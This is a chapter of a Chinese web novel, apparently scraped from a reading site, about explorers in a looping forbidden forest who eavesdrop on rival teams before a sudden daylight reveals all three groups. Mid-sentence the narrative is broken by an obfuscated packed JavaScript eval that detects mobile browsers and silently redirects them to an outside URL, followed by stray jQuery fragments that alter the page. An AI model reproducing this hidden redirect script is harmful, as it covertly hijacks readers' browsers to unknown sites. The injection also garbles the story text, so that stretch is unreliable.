夜里的森林像蒙了层看不见的厚纱，将五步外的景物都吞进一片模糊的昏黑里。


    饶是有提灯照着，光也只能勉强晕开脚下一小圈湿漉漉的地面，再远些的树干便只剩憧憧的影，分不清是树还是别的什么蹲在那儿，使人难以确认自己身处何方。


    倒是头顶的动静格外清晰，不知名夜鸟扑棱着翅膀，不住地牵扯着众人的神经。


    在第三次经过那棵做过荧光标记的枯木时，叶抒年终于确定，她们遇到了鬼打墙。


    “怎么又是这里？”林煦言盯着树干上那抹淡淡的荧光，声音里压不住烦躁。


    “这片林子有时会吞路。”阮天清对此有些经验，即刻停下脚步，“现在最好不要走动。”


    她以前遇到过类似的情形。通常来说，林子里一旦出现鬼打墙，往往意味着禁区中某些东西正在暗中躁动，很可能在搜寻活动的猎物。这时候停下来，尽可能保持静止，将自己扮作一棵树，是避开袭击的最有效方式。


    众人闻言，纷纷止步不前。


    叶抒年环顾四周，依然看不清周围的景象，可心头莫名发慌，总觉得哪里不对劲，又说不上来。


    直到一道声音穿透寂静：


    “队长，这已经是我们第三次经过这里了。”


    这声音很熟悉，来自某位联邦队员。叶抒年记得，那是萧千复的副手。


    声音响起的瞬间，所有人绷紧了脊背。那声响离得不远，也许就在二十步开外，被层层叠叠的树影遮挡着。


    在森林里遇见熟人从来不是好事。那可能是林中某些东西模仿出的诱饵，也可能对方真的同样被困于此。


    但无论哪种，都意味着麻烦。禁区封锁只剩不到十七个小时，若几拨人在此时撞上，人力分散不说，找到界碑的可能只会更渺茫。


    叶抒年与阮天清对视一眼，抬手对众人做了个噤声的手势。她随即侧头，望向提灯的那人。


    检察官正站在光影中央，光晕在他轮廓上镀了层毛茸茸的金边，将那惯常的冷冽削去了不少。


    他看着她，那双总是过于锐利或沉寂的眼睛，此刻竟显出柔和。不过，或许也不是柔和，只是灯光太暖，错觉而已。但那目光确实比先前收敛不少，仿佛在说，悉听尊便。


    叶抒年被这目光看得有些不自在，下意识地避了避，而后朝那人无声地动了动唇形：“把灯灭了。”


    检察官没有问，甚至没有一丝犹豫，拇指在灯身侧面轻轻一按。


    “咔。”


    那圈光晕骤然收束，黑暗便彻底吞没了所有人。众人屏息凝神，全部注意力都投向声音的来处。


    四周静得骇人，反而衬得那方向的动静愈发清晰。杂沓的脚步混杂着交谈，声音由远及近，听起来，联邦那边的幸存者人数不多。


    杂音中传来萧千复压低的声音，气息有些急促，显然是在进行紧急部署：


    “不能再在这里耗着了。我们这一路已经折了五个人，不能再耽误时间。”


    黑暗中传来几声抽气，有队员的声音响起：“可是，万一……又遇到那东西怎么办？我们已经不剩任何弹药了。”


    联邦小队的脚步声又靠近了些，枝叶被踩碎的细响似乎就在几步外。叶抒年屏住呼吸，连睫毛都不敢颤动，目光死死锁住声音来处那片浓黑。


    幸而联邦小队携带的能源灯早已耗尽，不少折损在先前的遭遇里。此刻只有领头者手中捏着一小截蜡烛，那点微弱的光晕摇晃着，勉强照亮握烛人自己的脸庞，却根本照不亮咫尺之外的黑暗。


    于是无人察觉，就在这支队伍侧旁不到五步的距离，另一群人正屏息凝立，如同沉入夜色的石像。


    萧千复仍在自顾自地说：“现在开始，两人一组背靠背行动。任何人不准单独离队，要是再遇到影子，千万不要打草惊蛇……”


    影子。


    叶抒年捕捉到了这个关键词。不只是她，她感受到身侧的阮天清手指也瞬间收紧，勾上了她的腕骨。


    某个并不久远的记忆被唤醒。在她们进入禁区之前，菲尔温曾经提醒过，遇到影子，千万要小心。


    要怎么做来着？叶抒年急速回想。对了，模仿。模仿影子的动作，让它们以为你是同类。


    可是接下来她听到的内容，让她彻底茫然了。


    “真倒霉……头一回进禁区，就撞上这种东西。我小叔明明说过，见过影子的人不多，留下的经验也就一条，模仿它们的动作即可。”一人抱怨道。


    另一位队友哽咽着接话：“你这消息……可把老田他们害惨了！”


    叶抒年心头猛地一沉。


    这什么意思？有人照着那条公认的规则去做，反而触发了更糟的结果？


    她几乎要按捺不住，想从黑暗里跨出去，揪住那个联邦队员问个清楚。他们到底是怎么做的？影子又到底是怎么反应的？


    她用力掐了一下自己的虎口，刺痛让她勉强维持住静止的姿势，压住一腔疑问冷静思考。


    根据之前的遭遇，禁区在界碑消失后确实出现了异变，惩罚变得更加诡谲严厉，但规则本身、那些根植于这片土地的基础逻辑，应当是不变的。


    如果真如联邦这些人所说，真相不大可能是禁区的规则改变了。叶抒年试图压下那个渐渐成形的猜想，可直觉像一根针，扎在意识的边缘，反复刺探着一个更可怕的可能性。


    或许，关于“影子”的规则，从最初流传开始，就是错的！


    可是这更说不通，菲尔温没有必要欺骗她们，这其中一定存在什么她们未曾觉察的真相。


    她小心地隐藏着形迹，试图从联邦队员的交谈中捕捉更多信息。然而，那支队伍却忽然停下了脚步，随之，所有声音在瞬间消失。


    叶抒年下意识屏住呼吸，几乎以为是自己暴露了。


    没成想紧接着，另一道鲜明的声音，从完全相反的方向切入了寂静。


    “怎么回事？第三次经过这鬼地方了！”


    熟悉的声音，熟悉的语气，是她们的“老朋友”，林予安。


    叶抒年听到这声音的刹那，几乎要冷笑出声。她对这人实在生不出半分好感。


    事实证明，联邦一行人此刻与她的想法不谋而合。只见那点原本就微弱的烛光倏地被吹灭，这群人的身影也全部遁入黑暗。


    叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086340|193266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抒年轻轻碰了碰阮天清的手背。对方指尖微动，示意明白。


    联邦那帮人确实精得很。察觉有人靠近的第一反应是先隐藏起来、偷看对方的意图，动作快得几乎与林予安手电光亮起的瞬间同步。


    而林予安的声音正由远及近，骂骂咧咧的，带着焦躁：“大爷的……这鬼地方是彻底不放人出去了！”


    手电的光从不远处晃过来，在树干与灌木间上下扫动，看得出持灯的人十分谨慎，每一步都走得小心翼翼。


    可惜没用。


    在这片黑暗里，这束光非但没能劈开前路，反倒成了最醒目的靶子。它只能照亮持灯者周身那可怜的一小圈，再往前，黑暗便像饿兽般将光线吞噬。


    因而在叶抒年看来，林予安这举动无异于在黑夜里敲锣打鼓，纯粹是在向所有藏在暗处的眼睛宣告自己的位置。


    更让她心头一凛的是，手电光偶尔晃过时，照亮的那张脸。那已不是她印象中林予安的模样。


    她记得这人虽然嘴欠，但凭着林家那份底子，相貌至少称得上清俊。可眼下，那张脸几乎面目全非，甚至和贾纯不相上下。


    叶抒年下意识地屏紧了呼吸。林予安遭遇了什么？难不成也是联邦队员口中的影子？可是看起来又不像……要是真遇上影子，大概这人已经没气息了。


    站在光影中的人，浑然不觉自己的形迹早已暴露，有人已经窥探了他好一会儿。终于，林予安领着他的队员，磨磨蹭蹭走到了距叶抒年等人仅剩五米左右的方位。


    手电光终于稳定下来，勉强照亮了以他为中心的、半径不足两米的一小片地面，也终于让暗处的眼睛看清了他们此刻的模样。


    终律城这支小队，竟也已折损大半。跟在林予安身后的，只剩寥寥四五人，且个个形容凄惨。


    林予安停了脚步，扫视一眼身后疲惫不堪的几人，急躁道：“都给我打起精神！找不到路，我们全得……”


    他的话戛然而止。


    倒不是遇到了什么生物的袭击，而是因为，天忽然亮了！


    连带着同一片土地上的叶抒年等人，以及联邦众人，全都心跳漏了一拍，愣在原地。


    仿佛人原本身处某个全黑的房间内，而有人按下了顶灯开关，光在瞬间砸下来，将众人所处的空间照得如同白昼，林子内的一切景象都清晰无比。


    霎时间，三拨人面面相觑，站在相距不过几步的空地上，彼此的脸在强光下都看得一清二楚。


    林予安早已被禁区内的某些生物磨得没了脾气，看到这突如其来的“三方会晤”后，一蹦三尺高，以为自己撞见鬼了。


    而联邦队员对上终律城那些鼻青脸肿的面孔时，先是讪讪地别开视线；紧接着瞥见不远处神色平静的叶抒年等人，以及叶抒年身后持灯而立的检察官，又不由自主地后退了半步。


    另一边，阮天清和俞不晚早已抬起随身携带的武器，枪口稳稳指着萧千复和林予安。


    而偷窥了半天的叶抒年丝毫不感到尴尬，反倒若无其事地，先看看萧千复紧绷的脸，再看看狼狈的林予安，然后对两人粲然一笑：


    “你们好啊，好久不见！”